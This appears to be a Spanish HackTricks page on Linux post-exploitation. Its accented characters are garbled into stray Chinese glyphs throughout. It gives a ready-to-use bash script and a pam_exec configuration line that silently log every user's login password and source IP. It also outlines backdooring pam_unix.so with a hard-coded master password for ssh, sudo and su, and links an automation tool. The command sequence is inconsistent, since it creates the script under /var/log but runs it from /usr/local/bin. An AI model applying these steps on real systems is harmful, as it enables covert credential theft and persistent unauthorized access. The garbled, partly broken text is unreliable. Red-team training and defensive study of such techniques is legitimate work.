Linux Post-Exploitation

Reading time: 4 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Captura de Contrase帽as de Inicio de Sesi贸n con PAM

Vamos a configurar un m贸dulo PAM para registrar cada contrase帽a que cada usuario utiliza para iniciar sesi贸n. Si no sabes qu茅 es PAM, consulta:

PAM - Pluggable Authentication Modules

Para m谩s detalles, consulta el post original. Esto es solo un resumen:

Descripci贸n de la T茅cnica: Los M贸dulos de Autenticaci贸n Pluggable (PAM) ofrecen flexibilidad en la gesti贸n de la autenticaci贸n en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesi贸n, pero tambi茅n presentan riesgos si se utilizan de manera incorrecta. Este resumen describe una t茅cnica para capturar credenciales de inicio de sesi贸n utilizando PAM, junto con estrategias de mitigaci贸n.

Captura de Credenciales:

  • Se crea un script bash llamado toomanysecrets.sh para registrar los intentos de inicio de sesi贸n, capturando la fecha, el nombre de usuario ($PAM_USER), la contrase帽a (a trav茅s de stdin) y la IP del host remoto ($PAM_RHOST) en /var/log/toomanysecrets.log.
  • El script se hace ejecutable e integra en la configuraci贸n de PAM (common-auth) utilizando el m贸dulo pam_exec.so con opciones para ejecutarse en silencio y exponer el token de autenticaci贸n al script.
  • El enfoque demuestra c贸mo un host Linux comprometido puede ser explotado para registrar credenciales de manera discreta.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Para m谩s detalles, consulta el post original. Esto es solo un resumen:

El M贸dulo de Autenticaci贸n Pluggable (PAM) es un sistema utilizado en Linux para la autenticaci贸n de usuarios. Funciona en tres conceptos principales: nombre de usuario, contrase帽a y servicio. Los archivos de configuraci贸n para cada servicio se encuentran en el directorio /etc/pam.d/, donde las bibliotecas compartidas manejan la autenticaci贸n.

Objetivo: Modificar PAM para permitir la autenticaci贸n con una contrase帽a espec铆fica, eludiendo la contrase帽a real del usuario. Esto se centra particularmente en la biblioteca compartida pam_unix.so utilizada por el archivo common-auth, que es incluido por casi todos los servicios para la verificaci贸n de contrase帽as.

Pasos para Modificar pam_unix.so:

  1. Localizar la Directiva de Autenticaci贸n en el archivo common-auth:
  • La l铆nea responsable de verificar la contrase帽a de un usuario llama a pam_unix.so.
  1. Modificar el C贸digo Fuente:
  • Agregar una declaraci贸n condicional en el archivo fuente pam_unix_auth.c que otorgue acceso si se utiliza una contrase帽a predefinida; de lo contrario, procede con el proceso de autenticaci贸n habitual.
  1. Recompilar y Reemplazar la biblioteca modificada pam_unix.so en el directorio apropiado.
  2. Pruebas:
  • Se concede acceso a trav茅s de varios servicios (login, ssh, sudo, su, screensaver) con la contrase帽a predefinida, mientras que los procesos de autenticaci贸n normales permanecen sin afectar.

note

Puedes automatizar este proceso con https://github.com/zephrax/linux-pam-backdoor

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks